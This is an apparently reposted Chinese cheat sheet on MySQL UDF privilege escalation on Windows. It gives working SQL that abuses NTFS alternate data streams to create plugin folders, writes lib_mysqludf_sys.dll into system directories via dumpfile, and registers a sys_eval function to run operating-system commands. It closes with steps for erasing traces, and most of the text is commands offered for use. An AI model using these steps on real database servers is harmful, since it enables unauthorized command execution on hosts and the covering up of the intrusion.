udf提權小結


00x1

首先判斷mysql版本,

mysql版本 < 5.2 , UDF導出到系統目錄c:/windows/system32/

mysql版本 > 5.2 ,UDF導出到安裝路徑MySQL\Lib\Plugin\

一般LibPlugin文件夾需要手工建立(可用流模式突破進而創建文件夾)

可能會用到的命令:

select @@datadir 路徑

select @@version 版本

使用NTFS ADS流創建lib、plugin文件夾:

某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法
select @@basedir;   //查找mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流創建lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次創建plugin目錄
執行成功以后再進行導出即可。 

 

 

 

00x2

直接執行

create function sys_eval returns string soname 'udf.dll'

 

若成功則可直接執行命令。

00x3

mysql版本小於5.1此方法一般不成功,則需要導入dll到系統目錄,一般導入到c:\windows\system32\,如果不可寫入則試試c:\windows\(一般5.0一下放這)。

00x4

具體語句如下:

create table a (cmd LONGBLOB);

insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll'))); 

SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';

create function sys_eval returns string soname 'udf.dll'

select sys_eval('ipconfig');

00x5

擦除痕跡:

drop table a;
drop function sys_eval;

Ps:一定要是root


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM